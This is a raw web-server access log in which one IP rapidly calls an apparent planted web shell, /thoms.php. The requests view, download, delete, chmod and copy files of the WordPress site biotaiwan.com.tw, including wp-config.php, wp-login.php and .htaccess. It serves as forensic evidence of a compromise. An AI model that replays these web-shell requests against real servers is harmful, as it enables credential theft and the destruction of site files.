45.135.193.11 - - [11/Sep/2026:22:37:53 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p= HTTP/1.1" 200 11730 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:53 -0400] "GET /thoms.php?dl=wp-load.php&p=biotaiwan.com.tw HTTP/1.1" 200 17512 "http://163.245.207.76:443/thoms.php?dl=wp-load.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:53 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=.htaccess HTTP/1.1" 200 12728 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:53 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.htaccess&p=biotaiwan.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.htaccess&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:53 -0400] "GET /thoms.php?del=wp-activate.php&p=biotaiwan.com.tw HTTP/1.1" 200 17510 "http://163.245.207.76:443/thoms.php?del=wp-activate.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:53 -0400] "GET /thoms.php?del=wp-cron.php&p=biotaiwan.com.tw HTTP/1.1" 200 17510 "http://163.245.207.76:443/thoms.php?del=wp-cron.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:53 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&p=biotaiwan.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:53 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=biotaiwan.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?chmod=wp-trackback.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:53 -0400] "GET /thoms.php?chmod=.well-known&p=biotaiwan.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=.well-known&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:53 -0400] "GET /thoms.php?chmod=locoy.php&p=biotaiwan.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=locoy.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:53 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=readme.html HTTP/1.1" 200 15234 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=readme.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:53 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12030 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=wp-blog-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:54 -0400] "GET /biotaiwan.com.tw/cgi-bin/ HTTP/1.1" 200 692 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:53 -0400] "GET /biotaiwan.com.tw/xmlrpc.php HTTP/1.1" 405 62 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:54 -0400] "GET /biotaiwan.com.tw/index.php HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:54 -0400] "GET /thoms.php?del=public-languages&p=biotaiwan.com.tw HTTP/1.1" 200 17510 "http://163.245.207.76:443/thoms.php?del=public-languages&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:54 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p= HTTP/1.1" 200 11733 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:54 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-login.php HTTP/1.1" 200 29031 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:54 -0400] "GET /biotaiwan.com.tw/ HTTP/1.1" 404 8494 "https://163.245.207.76/biotaiwan.com.tw/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:54 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p= HTTP/1.1" 200 11741 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:54 -0400] "GET /thoms.php?del=upgrade&p=biotaiwan.com.tw HTTP/1.1" 200 17512 "http://163.245.207.76:443/thoms.php?del=upgrade&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:54 -0400] "GET /thoms.php?dl=filefuns.php&p=biotaiwan.com.tw HTTP/1.1" 200 17511 "http://163.245.207.76:443/thoms.php?dl=filefuns.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:54 -0400] "GET /thoms.php?del=license.txt&p=biotaiwan.com.tw HTTP/1.1" 200 17512 "http://163.245.207.76:443/thoms.php?del=license.txt&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:54 -0400] "GET /thoms.php?del=locoy.php&p=biotaiwan.com.tw HTTP/1.1" 200 17513 "http://163.245.207.76:443/thoms.php?del=locoy.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:54 -0400] "GET /thoms.php?chmod=mah.php&p=biotaiwan.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?chmod=mah.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:55 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&p=biotaiwan.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:55 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&p=biotaiwan.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:55 -0400] "GET /thoms.php?chmod=license.txt&p=biotaiwan.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:55 -0400] "GET /biotaiwan.com.tw/locoy.php HTTP/1.1" 200 125 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:55 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=thoms.php HTTP/1.1" 200 11821 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:55 -0400] "GET /thoms.php?del=wp-blog-header.php&p=biotaiwan.com.tw HTTP/1.1" 200 17515 "http://163.245.207.76:443/thoms.php?del=wp-blog-header.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:55 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 200 59209 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:55 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&p=biotaiwan.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:55 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=biotaiwan.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?chmod=wp-links-opml.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:55 -0400] "GET /biotaiwan.com.tw/wp-admin/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:55 -0400] "GET /biotaiwan.com.tw/wp-blog-header.php HTTP/1.1" 404 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:56 -0400] "GET /thoms.php?chmod=thoms.php&p=biotaiwan.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?chmod=thoms.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:56 -0400] "GET /thoms.php?del=xmlrpc.php&p=biotaiwan.com.tw HTTP/1.1" 200 17514 "http://163.245.207.76:443/thoms.php?del=xmlrpc.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:56 -0400] "GET /biotaiwan.com.tw/wp-config-sample.php HTTP/1.1" 500 1095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:56 -0400] "GET /biotaiwan.com.tw/wp-links-opml.php HTTP/1.1" 200 215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:56 -0400] "GET /thoms.php?del=wp-load.php&p=biotaiwan.com.tw HTTP/1.1" 200 17511 "http://163.245.207.76:443/thoms.php?del=wp-load.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:56 -0400] "GET /thoms.php?dl=wp-trackback.php&p=biotaiwan.com.tw HTTP/1.1" 200 17511 "http://163.245.207.76:443/thoms.php?dl=wp-trackback.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:56 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p= HTTP/1.1" 200 11703 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:56 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=index.php HTTP/1.1" 200 12053 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:56 -0400] "GET /thoms.php?del=wp-config-sample.php&p=biotaiwan.com.tw HTTP/1.1" 200 17511 "http://163.245.207.76:443/thoms.php?del=wp-config-sample.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:56 -0400] "GET /thoms.php?dl=wp-cron.php&p=biotaiwan.com.tw HTTP/1.1" 200 17512 "http://163.245.207.76:443/thoms.php?dl=wp-cron.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:56 -0400] "GET /thoms.php?dl=xmlrpc.php&p=biotaiwan.com.tw HTTP/1.1" 200 17512 "http://163.245.207.76:443/thoms.php?dl=xmlrpc.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:56 -0400] "GET /biotaiwan.com.tw/readme.html HTTP/1.1" 200 2990 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:56 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ferror_log&p=biotaiwan.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ferror_log&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:57 -0400] "GET /thoms.php?del=thoms.php&p=biotaiwan.com.tw HTTP/1.1" 200 17513 "http://163.245.207.76:443/thoms.php?del=thoms.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:57 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&p=biotaiwan.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:57 -0400] "GET /thoms.php?del=wp-config.php&p=biotaiwan.com.tw HTTP/1.1" 200 17510 "http://163.245.207.76:443/thoms.php?del=wp-config.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:57 -0400] "GET /thoms.php?del=widget-transformer&p=biotaiwan.com.tw HTTP/1.1" 200 17514 "http://163.245.207.76:443/thoms.php?del=widget-transformer&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:57 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p= HTTP/1.1" 200 11726 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:57 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-cron.php HTTP/1.1" 200 14176 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=wp-cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:57 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13097 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=wp-links-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:57 -0400] "GET /biotaiwan.com.tw/wp-includes/ HTTP/1.1" 200 9291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:57 -0400] "GET /biotaiwan.com.tw/license.txt HTTP/1.1" 200 7276 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:57 -0400] "GET /thoms.php?del=wp-includes&p=biotaiwan.com.tw HTTP/1.1" 200 17511 "http://163.245.207.76:443/thoms.php?del=wp-includes&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:57 -0400] "GET /thoms.php?del=mah.php&p=biotaiwan.com.tw HTTP/1.1" 200 17511 "http://163.245.207.76:443/thoms.php?del=mah.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:57 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=biotaiwan.com.tw HTTP/1.1" 200 17502 "http://163.245.207.76:443/thoms.php?dl=wp-links-opml.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:57 -0400] "GET /thoms.php?dl=thoms.php&p=biotaiwan.com.tw HTTP/1.1" 200 17512 "http://163.245.207.76:443/thoms.php?dl=thoms.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:57 -0400] "GET /thoms.php?chmod=wp-load.php&p=biotaiwan.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-load.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:57 -0400] "GET /biotaiwan.com.tw/wp-signup.php HTTP/1.1" 500 1182 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:58 -0400] "GET /biotaiwan.com.tw/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:58 -0400] "GET /thoms.php?p=biotaiwan.com.tw&upload= HTTP/1.1" 200 12161 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:58 -0400] "GET /thoms.php?chmod=widget-transformer&p=biotaiwan.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?chmod=widget-transformer&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:58 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=filefuns.php HTTP/1.1" 200 14705 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=filefuns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:58 -0400] "GET /thoms.php?chmod=wp-login.php&p=biotaiwan.com.tw HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?chmod=wp-login.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:58 -0400] "GET /thoms.php?del=wp-trackback.php&p=biotaiwan.com.tw HTTP/1.1" 200 17516 "http://163.245.207.76:443/thoms.php?del=wp-trackback.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:58 -0400] "GET /thoms.php?dl=license.txt&p=biotaiwan.com.tw HTTP/1.1" 200 17514 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:58 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=biotaiwan.com.tw HTTP/1.1" 200 11500 "http://163.245.207.76:443/thoms.php?chmod=wp-blog-header.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:58 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=biotaiwan.com.tw HTTP/1.1" 200 17515 "http://163.245.207.76:443/thoms.php?dl=wp-blog-header.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:58 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=biotaiwan.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?chmod=wp-comments-post.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:58 -0400] "GET /biotaiwan.com.tw/wp-config.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:58 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=biotaiwan.com.tw HTTP/1.1" 200 17514 "http://163.245.207.76:443/thoms.php?dl=wp-comments-post.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:58 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=locoy.php HTTP/1.1" 200 12955 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=locoy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:58 -0400] "GET /thoms.php?del=wp-signup.php&p=biotaiwan.com.tw HTTP/1.1" 200 17514 "http://163.245.207.76:443/thoms.php?del=wp-signup.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:59 -0400] "GET /biotaiwan.com.tw/wp-cron.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
